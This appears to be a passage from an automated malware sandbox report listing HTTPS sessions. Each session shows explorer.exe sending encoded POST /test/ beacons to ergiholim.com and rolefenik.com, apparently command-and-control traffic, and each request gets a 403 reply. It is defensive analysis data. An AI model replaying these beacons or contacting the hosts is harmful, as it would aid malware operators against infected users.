2024-11-13 17:21:49 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49997	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:50 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:50 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:50 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H9RBqCEpsJKUB%2FQrKMYVUwOqrqSTQo2vXTrKhY2HbSTd5GJRD5rQo%2Fb1tC8afRJv%2FbJZQ033hPMPDmKlz%2FeYorlRTsBOSIWlT%2BgnSq5eNI6MOjvSGoI%2BGufFKlfiAjTs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070c07f6fe38e-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=148683&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=18751&cwnd=32&unsent_bytes=0&cid=5395202ae9657594&ts=837&x=0"
2024-11-13 17:21:50 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49998	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:51 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:51 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:52 UTC	746	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iNrGzA4RClqk3Zu5u%2FMf8hLl1SIFqqSMfqaf%2BIEm8wZIgoUm11bHGdri1SJFcFXrgR5z1bhzpXXCyDDHPELuB28zw72BszNWuIjjs5EydDGVTfRoySMFuYnbBDxz6X9O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070cb49c0f62d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139803&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=22149&cwnd=32&unsent_bytes=0&cid=04e37b94cd00d38d&ts=723&x=0"
2024-11-13 17:21:52 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50000	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:55 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:55 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:55 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5E10ETFR%2BTlXuEai8SejHu6VpoufOU8kUaplQ6%2FvUBi56yf9nJiOlj0GVIj%2F%2B1Kr4gOb1I9bjFuAM2AAD5nLCFdETvP6p5bYL67UxhgjkCVZfg7CYxtCLtvvf3sDEo4S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070e12e0ad75f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=143441&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=19733&cwnd=32&unsent_bytes=0&cid=23631287cfa01ef7&ts=740&x=0"
2024-11-13 17:21:55 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50001	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:56 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:56 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:57 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8x9n4JZicwJdQHhf44iZq62bQR4PclbBYS0htN0z0UmCSMSHiqp2QJ4PjYCKKEj5xA3y%2BznPyo7blneijvou0nJg8laRd2zTyoIYi1rSovLNVoukMKJ3Gf%2Bvvs5%2BRK5h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070eb2e12deb5-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=130660&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22172&cwnd=32&unsent_bytes=0&cid=f28166e97db29f7b&ts=668&x=0"
2024-11-13 17:21:57 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50003	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:58 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:58 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:59 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TMaY3Vd5xWzms0rNmLkSR80nBpc8uNQbOBXENpzh4PsVuG9NKeyli6BcFwKQWmf3mLGSAbNJ%2BeMUoIu9I%2BET5sEZWs9C1u5paPlZP%2Bx%2BQE4%2FhKeMzruVobkNwNui1coO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070f55841ca1f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=160357&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20599&cwnd=32&unsent_bytes=0&cid=0a46d277ad3e968c&ts=742&x=0"
2024-11-13 17:21:59 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50004	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:59 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:59 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:00 UTC	751	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gQD624mIiNghgpFyZzAJprJzLc%2FnDTRsb%2F9vcol2RdUwLvH1obq%2F2iNyGPlpoANo9JUvTVepMdcZuMUyJha%2FxnNBAUhibILuNXTSjsT4a2fwkn5kJXMW%2BiELaIrFARHN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070fe6846c9ac-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=39041&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=74193&cwnd=32&unsent_bytes=0&cid=2777bdb7e1b369c5&ts=279&x=0"
2024-11-13 17:22:00 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50005	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:00 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:00 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:01 UTC	753	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GL2Q%2FbhasOF6DcdYDAG22sB6BgF7M1fiSewuc5IKjkh720Apo6m72liNiuOrGCtTwEKZTRgw3k2zrRV%2Fnasdf1DHW0tE%2Bx%2BJ%2BKIbjEoULnDAIcmci%2FmwoNyMzwLjmhtr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071049970c958-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41232&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=70258&cwnd=32&unsent_bytes=0&cid=c2dd190e565dc61d&ts=278&x=0"
2024-11-13 17:22:01 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page 